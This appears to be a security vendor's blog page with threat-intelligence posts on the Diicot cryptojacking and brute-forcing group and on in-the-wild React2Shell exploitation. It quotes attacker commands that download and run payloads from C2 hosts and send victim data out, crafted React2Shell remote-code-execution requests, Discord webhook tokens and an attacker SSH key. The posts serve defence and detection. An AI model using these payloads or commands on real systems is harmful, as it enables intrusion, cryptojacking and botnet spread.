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June 15, 2023

Tracking Diicot: An Emerging Romanian Threat Actor

Cado researchers (now part of Darktrace) identified a campaign by the threat actor Diicot, focusing on SSH brute-forcing and cryptojacking. Diicot utilizes custom tools, modified packers, and Discord for C2, and has expanded its capabilities to include doxxing and DDoS attacks via a Mirai-based botnet.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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15
Jun 2023

Introduction

In a review of honeypot sensor telemetry in early 2023, researchers from Cado Security Labs, (now part of Darktrace) detected an attack pattern that could be attributed to the threat actor Diicot (formerly, “Mexals”).

Investigation of a command-and-control (C2) server used by Diicot led to the discovery of several payloads, some of which did not appear to have any public reporting and were missing from common public malware repositories. It appears that these payloads were being used as part of a new campaign by this emerging group.  

As this blog will discuss, Diicot capabilities and objectives include:

  • The deployment of a self-propagating initial access tool
  • Use of custom packers to obfuscate binary payloads
  • Widespread cryptojacking on compromised targets
  • Identification of vulnerable systems via internet scanning
  • Personal data exposure of perceived enemies (doxxing)
  • Deployment of a botnet agent implicated in distributed denial-of-service (DDoS) attacks
  • C2 reporting via Discord and a custom API endpoint

Diicot background

Information about Diicot is sparse, but to summarize two of the available resources, they appear to have been active since at least 2020 and are known for conducting cryptojacking campaigns and developing Malware-as-a-Service (MaaS) strains. The group originally referred to themselves as Mexals but have since changed to the name Diicot. The Diicot name is significant, as it is also the name of the Romanian organized crime and anti-terrorism policing unit. In addition, artifacts from the group’s campaigns contain messaging and imagery related to this organization. This, combined with the presence of Romanian-language strings and log statements in the payloads themselves, have led prior researchers to attribute the malware to a group based in Romania [1,2].

Although Diicot have traditionally been associated with cryptojacking campaigns, researchers discovered evidence of the group deploying an off-the-shelf Mirai-based botnet agent, named Cayosin. Deployment of this agent was targeted at routers running the Linux-based embedded devices operating system, OpenWrt [3].

The use of Cayosin demonstrates Diicot’s willingness to conduct a variety of attacks (not just cryptojacking) depending on the type of targets they encounter. This finding is consistent with external research, suggesting that the group are still investing engineering effort into deploying Cayosin [4]. In doing so, Diicot have gained the ability to conduct DDoS attacks, as this is the primary objective of Cayosin according to previous reporting.

Not only do Diicot have the ability to conduct cryptojacking and DDoS attacks, but investigation of one of their servers led to the discovery of a Romanian-language video depicting a feud between the group and what appears to be other online personas.  

It is suspected that these personas are members of a rival hacking group. During the course of the video, members of the rival group are mentioned and their personal details, including photographs, home addresses, full names and online handles are exposed (known as doxxing). From this, it can be concluded that the group are actively involved in doxxing members of the public, in addition to the nefarious activities mentioned above.

For the purpose of avoiding overlap with existing research on Diicot, this blog will provide a brief overview of Diicot’s Tactics, Techniques and Procedures (TTPs) along with the execution chain employed by the group in their latest campaign, before focusing on the latest version of their self-propagating SSH brute-forcer.

Diicot TTPs

Attributing a campaign to Diicot is often straightforward, thanks to the group’s relatively distinctive TTPs. Prior research has shown that Diicot make heavy use of the Shell Script Compiler (shc) [5], presumably to make analysis of their loader scripts more difficult. They also frequently pack their payloads with a custom version of UPX, using a header modified with the bytes 0x59545399. This byte sequence is easily identified by tools, and in combination with a specified offset, can be used as a detection mechanism for the group’s binary payloads.

Modified UPX header
Figure 1: Example modified UPX header

Use of a modified UPX header prevents unpacking via the standard upx -d command. Fortunately, the upx_dec utility created by Akamai can be used to circumvent this.   Running the tool restores the header to the format that UPX expects, allowing the binary to be unpacked as normal.

Diicot also rely heavily on the instant messaging and communication platform Discord for C2. Discord supports HTTP POST requests to a webhook URL, allowing exfiltrated data and campaign statistics to be viewed within a given channel. Cado researchers identified four distinct channels used for this campaign, details of which can be found in the Indicators of Compromise (IoCs) section. Thanks to the inclusion of Snowflake timestamps in the hook URLs, it’s possible to view their creation date. This confirms that the campaign was recent and ongoing at the time of writing

Snowflake timestamp conversion
Figure 2: Snowflake timestamp conversion for main C2 webhook

All of these channels were created within an 11-minute timeframe on April 26, 2023. It is likely that an automated process is responsible for the channel creation.

Based on Discord webhook URLs discovered in the samples, it was possible to determine that the Discord account used to create them was “Haceru#1337”.

Additionally, the guild ID for the webhooks is 1100412946003275858, and the following channel IDs are used:

  • 1100669252161249321 for the webhook in the toDiscord function
  • 1100665251655069716 for the webhook in the toFilter function
  • 1100665176862232606 for the webhook in the toFilter2 function
  • 1100665020934787072 for the webhook in the toFilter3 function

The Discord hook is the Discord default “Captain Hook” webhook, but webhooks for toFilter* have the name “Filter DIICOT”.

SIAS police taskforce
Figure 3: An image of the SIAS police taskforce, which is part of the Diicot agency.

Payload execution

Diicot campaigns generally involve a long execution chain, with individual payloads and their outputs forming interdependent relationships.  

Shc executables are typically used as loaders and prepare the system for mining via Diicot’s custom fork of XMRig, along with registering persistence. Executables written in Golang tend to be dedicated to scanning, brute-forcing and propagation, and a fork of the zmap [6] internet scanning utility has often been observed.

The execution chain itself remains largely consistent with campaigns reported by the external researchers previously mentioned, with updates to the payloads themselves observed during Cado Labs’ analysis.

Chain of Execution
Figure 4: Chain of Execution

aliases

Initial access for the Diicot campaign is via a custom SSH brute-forcing tool, named aliases. This executable [7] is a 64-bit ELF written in Golang, and is responsible for ingesting a list of target IP addresses and username/password pairs to conduct a brute force attack.  

bins.sh

bins.sh is executed if aliases encounters an OpenWrt router during the initial access phase, bins.sh is a fairly generic Mirai-style spreader script that attempts to retrieve versions of the Cayosin botnet’s agent for multiple architectures.

cutie.<arch>

cutie.<arch> is a series of 32-bit ELF binaries retrieved by bins.sh if an OpenWrt router is encountered.  cutie.<arch> is a variant of Mirai, specifically Cayosin [8]. Cursory inspection of the ARM variant using open-source intelligence (OSINT) shows a high detection ratio, with most vendors detecting the executable as Mirai [9]. This suggests that the malware has not been customized by Diicot for this campaign.

payload

payload is a 64-bit ELF shc executable that simply calls out to bash and runs a shell script in memory. The script acts as a loader, preparing the target system for cryptocurrency mining, changing the password of the current user,  and installing XMRig if the target has more than four processor cores.  

When changing the user’s password, some simple logic is included to determine whether the user ID is equal to 0 (root). If so, the password is changed to a hardcoded value of $6$REY$R1FGJ.zbsJS/fe9eGkeS1pdWgKbdszOxbUs/E0KtxPsRE9jUCIXkxtC" "MJ9bB1YwOYhKWSSbr/' (inclusive of whitespace and double quotes).  

If the user is not root, “payload” will generate a password by running the date command, piping this through sha256sum and then through base64. The first eight characters of the result are then used for the password itself.  

“payload” also removes any artifacts of prior compromise (a common preparatory action taken by cryptojacking groups) and reports information such as username, password, IP address and number of cores back to an attacker-controlled IP.

.diicot

.diicot is another shc executable serving as a loader for an additional executable named Opera, which is the XMRig miner deployed by Diicot. .diicot begins with an existence check for Opera and retrieves it along with a XMRig configuration file if it doesn’t exist. The details of the mining configuration are viewable in the IoCs section.  

After retrieving and executing the miner, .diicot registers an attacker-controlled SSH key to maintain access to the system. It also creates a simple script under the path /var/tmp/Documents/.b4nd1d0 which is used to relaunch the miner if it’s not running and executes this via cron at a frequency of every minute.  

The sample also checks whether the SSH daemon is running, and executes it if not, before proceeding to automate this functionality as part of a systemd service. The service is saved as /lib/systemd/system/myservice.service and is configured to execute on boot.

echo '[Unit] 
Description=Example systemd service. 
[Service]" "=3600 
ExecStart=/bin/bash /usr/bin/sshd 
[Install] 
WantedBy=multi-user.target' > /lib/systemd/system/myservice.service 
sleep 1 
chmod 644 /lib/systemd/system/myservice.service 
systemctl enable myservice 
systemctl start myservice 

Example commands to register and load the sshd systemd service

Chrome

Chrome is an internet scanner that appears to be based on Zmap. The main difference between the Diicot fork and the original is the ability to write the scan results to a text file in the working directory, with a hardcoded name of bios.txt. This is then read by aliases as a target list for conducting SSH brute-forcing.

Update

Update is another shc executable that retrieves Chrome and aliases if they don’t exist. Update also writes out a hardcoded username/password combination list to a file named protocols in the working directory. This is also read by aliases and used for SSH brute-forcing. Update also includes logic to generate a randomised /16 network prefix. Chrome is then run against this address range. A cronjob is also created to run History and Update and is saved as .5p4rk3l5 before being loaded.

History

History is a very simple plaintext (i.e. uncompiled) shell script that checks whether Update is running and executes it if not; the results of which are logged to standard out.

Analysis of aliases

The sample of aliases we obtained was located at 45[.]88[.]67[.]94/.x/aliases. The last modified header in the HTTP response indicates that it was uploaded to the server on the May 27 when Cado researchers first obtained it, but was updated again on June 5th.

main

This is the main entry point of the go binary. Upon launch, it performs a HTTP GET request to hxxp://45[.]88[.]67[.]94/diicotapi/skema0803 (skema0803 appears to be a hardcoded API key that appears in many Diicot samples). If this fails, or the response does not contain a Discord webhook, then the malware exits with an error message stating that the API was unreachable.

The malware then calls readLines on bios.txt to load a list of IPs to attack, and again on protocols to load a space-delimited list of credentials to attack each IP with. It repeats this process twice, once for port 22, and again for port 2000.

Once this is complete, it spawns a new goroutine (a lightweight thread) for each address and credential combination, with a small delay between each spawn. The goroutine executes the remoteRun function. The main thread applies a 60 second timeout to the goroutines, and exits once there are none left.

init_0

The init_0 function appears to be the result of go optimization. It loads a number of variables into qwords in the .bss section of the binary, including a stringified shell script (referred to above as payload) that is ultimately run on compromised machines. These qwords are then used at various points in the malware.

Interestingly, there is another call here to the diicotapi, and the webhook retrieved is saved into a qword. This does not appear to be used anywhere, making it likely leftover from a previous iteration of aliases.

Figure 5: Disassembly of init_0

toDiscord  

The toDiscord function takes in a string and concatenates it into a curl command, which is then executed via bash. As they have used the go HTTP client module elsewhere, it is unclear why they have decided to use curl instead of it.

Figure 6

toFilter*

The three toFilter functions are the same as toDiscord but with different URLs. They are used later on to send details of the compromised machines to separate Discord channels based on the outcome of the payload script executed on freshly compromised machines. The payload either additionally deploys a cryptominer if the host has four or more cores or just uses the host as a spreader if it has less. It would make sense that they would want to track which hosts are being used to mine and which are being used to spread.  

toApi

The toApi function is similar to the toDiscord and toFilter functions, but sends requests to the attacker’s API. The string passed into the function is first written to /tmp/.txt, and then base64 encoded and passed into an environmental variable called “haceru” (Romanian for hacker). It then executes curl -s arhivehaceru[.]com:2121/api?haceru=$haceru to report this string back to the C2 server.

remoteRun

The remoteRun function takes in an IP, port, and credential pair. It uses the crypto/ssh go package to connect and attempt to authenticate using the details provided. After a successful login, a series of commands are executed to gather information about the compromised system:

uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }

  • This fetches the uptime of the system, which can be useful for determining if the compromised system is a sandbox, which would likely have a low uptime.

lspci | egrep VGA  && lspci | grep 3D

  • This fetches a list of graphics devices connected to the system, which can be used for mining cryptocurrency. However, Diicot’s choice of crypto is Monero, which is typically CPU mined rather than GPU mined.

lscpu | egrep "Model name:" | cut -d ' ' -f 14-

  • This fetches the model of CPU installed in the system, which will determine how quickly the server can mine Monero.

curl ipinfo.io/org

  • This fetches the organization associated with the ASN of the compromised machine's IP address.

nproc

  • This fetches the number of processes running on the compromised machine. Sandboxes and honeypots will typically have fewer running processes, so this information assists Diicot with determining if they are in a sandbox.

uname -s -v -n -r -m

  • This fetches the system hostname, kernel & operating system version information, and arch. This is used to determine whether to infect the machine or not, based on a string blacklist.

Once this is complete, the malware checks that the output of uname contains OpenWrt. If it does, it executes the following command to download bins.sh, the Mirai spreader:

<code>​​cd /var/tmp || cd /tmp/ ; wget -q hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh || curl -O -s -L hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh ; chmod 777 bins.sh; sh bins.sh ; rm -rf .* ; rm -rf * ; history -c ; rm -rf ~/.bash_history</code> 

The malware then continues (regardless of whether the system is running OpenWrt) to check the output of uname against a blacklist of strings, which include various cloud providers such as AWS, Linode, and Azure among more generic strings like specific kernel versions and specific services.  

It is unclear why exactly this is. The most likely case is that once they detect that payload did not run properly (sent via one of the toFilter webhooks) they simply blacklist the uname to avoid trying to infect it in the future. It could also be to prevent the malware from running on honeypots, or cloud providers that are likely to detect the cryptominer. It also checks the architecture of the system, as Opera, the custom fork of XMRig, appears to be x86_64 only.

Once these checks have passed, the malware then runs the following script on the compromised host, which downloads and runs the shell script payload:

<code>crontab -r ; cd /var/tmp ; rm -rf /dev/shm/.x ; mkdir /var/tmp/Documents &gt; /dev/null 2&gt;&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ; wget -q arhivehaceru[.]com/payload || curl -O -s -L arhivehaceru[.]com/payload || wget -q 45[.]88[.]67[.]94/payload || curl -O -s -L 45[.]88[.]67[.]94/payload ; chmod 777 payload ; ./payload &gt; /dev/null 2&gt;&1 & disown ; history -c ; rm -rf .bash_history ~/.bash_history</code> 

Depending on the environment, payload performs different functions. It either additionally deploys a cryptominer if the host has four or more cores, or just uses the host as a spreader if it has less. To keep track of this, one of the three toFilter methods will be used depending on the output of the executed command. It constructs a Discord embed, and puts the credentials, IP, SSH port (22 or 2000), and output of the commands run during the discovery phase and invokes the chosen toFilter function with this data in JSON form.

Regardless of the toFilter function chosen, the same embed is also passed to toDiscord and toApi.

readLines

The readLines function is a utility function that takes in a file path and reads it into a list of lines. This function is used to load in the IP addresses to attack and the credential combinations to try against them.

Figure 7: Snippet of readLines disassembly

Conclusion

Diicot are an emerging threat group with a range of objectives and the technical knowledge to act on them. This campaign specifically targets SSH servers exposed to the internet with password authentication enabled. The username/password list they use is relatively limited and includes default and easily-guessed credential pairs.  

The research team encourages readers to implement basic SSH hardening to defend against this malware family, including mandatory key-based authentication for SSH instances and implementation of firewall rules to limit SSH access to specific IPs.  

A lengthy and convoluted execution chain can make analysis of a Diicot campaign feel laborious. The group also employs basic obfuscation techniques, such as compiling shell scripts with shc and using a modified UPX header for their binary payloads. These techniques are easily bypassed as an analyst, often revealing executables without further obfuscation and with debug symbols intact.  

The payloads themselves are often noisy in their operation, as is expected with any brute-forcing malware. Scanning attempts from Diicot’s fork of Zmap are particularly noisy and can result in a multitude of outbound SYN packets to addresses within a random /16 network prefix. This activity should be easily identified by administrators with adequate network monitoring in place.

Indicators of compromise

Discord webhooks

hxxps://discord[.]com/api/webhooks/1100669270297419808/UQ2bkUBe9JgAhtEIPYqpqKG6YVRW1fqEkadAY3u6PPmcgEVcYaSRiS37JILi2Vk32or6

hxxps://discord[.]com/api/webhooks/1100666861424754708/pAzInuz8ekK5DmKyoKxmG4H8euCtLkBXZnS33EGnxdl0_hkL5OdRbInQqgdGiQ1U41WF

hxxps://discord[.]com/api/webhooks/1100666766339866694/ex_yUegpCF4NXGkT3sGFp3oWFUkJWE7XarcgTHRcAwmJQtG4pALhcj6PjKUTthNz_0u_

hxxps://discord[.]com/api/webhooks/1100666664623812650/_t9NyLTT_Rbg_Vr14n6YCBkseXrz-RpSe94SFIw-1Pyrkns80tU9uWJL3yjc3eLXo0IU

URLs

arhivehaceru[.]com

Files : SHA-256

Update : 437af650493492c8ef387140b5cb2660044764832d1444e5265a0cd3fe6e0c39

aliases : de6dff4d3de025b3ac4aff7c4fab0a9ac4410321f4dca59e29a44a4f715a9864

aliases (variant) : a163da5c4d6ee856a06e4e349565e19a704956baeb62987622a2b2c43577cdee

Chrome : 14779e087a764063d260cafa5c2b93d7ed5e0d19783eeaea6abb12d17561949a

History : e9bbe9aecfaea4c738d95d0329a5da9bd33c04a97779172c7df517e1a808489c

.diicot : 7389e3aada70d58854e161c98ce8419e7ab8cd93ecd11c2b0ca75c3cafed78cb

bins.sh : 180d30bf357bc4045f197b26b1b8941af9ca0203226a7260092d70dd15f3e6ab

cutie.x86_64 : 7d93419e78647d3cdf2ff53941e8d5714afe09cb826fd2c4be335e83001bdabf

payload : d0e8a398a903f1443a114fa40860b3db2830488813db9a87ddcc5a8a337edd73

… : 6bce1053f33078f3bbbd526162d9178794c19997536b821177f2cb0d4e6e6896

Opera : aabf2ef1e16a88ae0d802efcb2525edb90a996bb5d280b4c61d2870351e3fba4

IP addresses

45[.]88[.]67[.]94

84[.]54[.]50[.]198

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoBjnno5GBoIuIYIhrJsQxF6OPHtAbOUIEFB+gdfb1tUTjs+f9zCMGkmNmH45fYVukw6IwmhTZ+AcD3eD "iImmgU9wlw/lalf/WrIuCDp0PArQtjNg/vo7HUGq9SrEIE2jvyVW59mvoYOwfnDLUiguKZirZgpjZF2DDKK6WpZVTVpKcH+HEFdmFAqJInem/CRUE0bqjMr88bUyDjVw9FtJ5EmQenctjrFVaB7hswOaJBmFQmn9G/BXkMvZ6mX7LzCUM2PVHnVfVeCLdwiOINikzW9qzlr8WoHw4qEGJLuQBWXjJu+m2+FdaOD6PL53nY3w== ElPatrono1337

Mining pools

45[.]88[.]67[.]94:7777

139[.]99[.]123[.]196:80

pool[.]supportxmr[.]com:80

Mining pool usernames

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

Mining pool passwords

proxy0

proxy1

proxy2

Paths

/var/tmp/Documents/

/var/tmp/Documents/.b4nd1d0

/var/tmp/Documents/.5p4rk3l5

/var/tmp/Documents/Opera

/var/tmp/Documents/.diicot

/var/tmp/.update-logs

/tmp/...

/var/tmp/.ladyg0g0/

/var/tmp/.ladyg0g0/.pr1nc35

/lib/systemd/system/myservice.service

/usr/bin/.pidsclip

/usr/bin/.locatione

References

  1. https://www.akamai.com/blog/security-research/mexals-cryptojacking-malware-resurgence   ‍
  2. https://www.bitdefender.com/en-gb/blog/labs/how-we-tracked-a-threat-group-running-an-active-cryptojacking-campaign 
  3. https://openwrt.org/
  4. https://securityaffairs.com/80858/cyber-crime/cayosin-botnet-mmd.html  
  5. https://github.com/neurobin/shc
  6. https://zmap.io/
  7. https://www.virustotal.com/gui/file/de6dff4d3de025b3ac4aff7c4fab0a9ac4410321f4dca59e29a44a4f715a9864
  8. https://twitter.com/malwaremustd1e/status/1297821500435726336?lang=en
  9. https://www.virustotal.com/gui/file/b328bfa242c063c8cfd33bc8ce82abeefc33b5f8e34d0515875216a322954b01
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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December 11, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

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What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, he spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

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Nathaniel Bill
Malware Research Engineer

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December 8, 2025

Simplifying Cross Domain Investigations

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Cross-domain gaps mean cross-domain attacks  

Organizations are built on increasingly complex digital estates. Nowadays, the average IT ecosystem spans across a large web of interconnected domains like identity, network, cloud, and email.  

While these domain-specific technologies may boost business efficiency and scalability, they also provide blind spots where attackers can shelter undetected. Threat actors can slip past defenses because security teams often use different detection tools in each realm of their digital infrastructure. Adversaries will purposefully execute different stages of an attack across different domains, ensuring no single tool picks up too many traces of their malicious activity. Identifying and investigating this type of threat, known as a cross-domain attack, requires mastery in event correlation.  

For example, one isolated network scan detected on your network may seem harmless at first glance. Only when it is stitched together with a rare O365 login, a new email rule and anomalous remote connections to an S3 bucket in AWS does it begin to manifest as an actual intrusion.  

However, there are a whole host of other challenges that arise with detecting this type of attack. Accessing those alerts in the respective on-premise network, SaaS and IaaS environments, understanding them and identifying which ones are related to each other takes significant experience, skill and time. And time favours no one but the threat actor.  

Anatomy of a cross domain attack
Figure 1: Anatomy of a cross domain attack

Diverse domains and empty grocery shelves

In April 2025, the UK faced a throwback to pandemic-era shortages when the supermarket giant Marks & Spencer (M&S) was crippled by a cyberattack, leaving empty shelves across its stores and massive disruptions to its online service.  

The threat actors, a group called Scattered Spider, exploited multiple layers of the organization’s digital infrastructure. Notably, the group were able to bypass the perimeter not by exploiting a technical vulnerability, but an identity. They used social engineering tactics to impersonate an M&S employee and successfully request a password reset.  
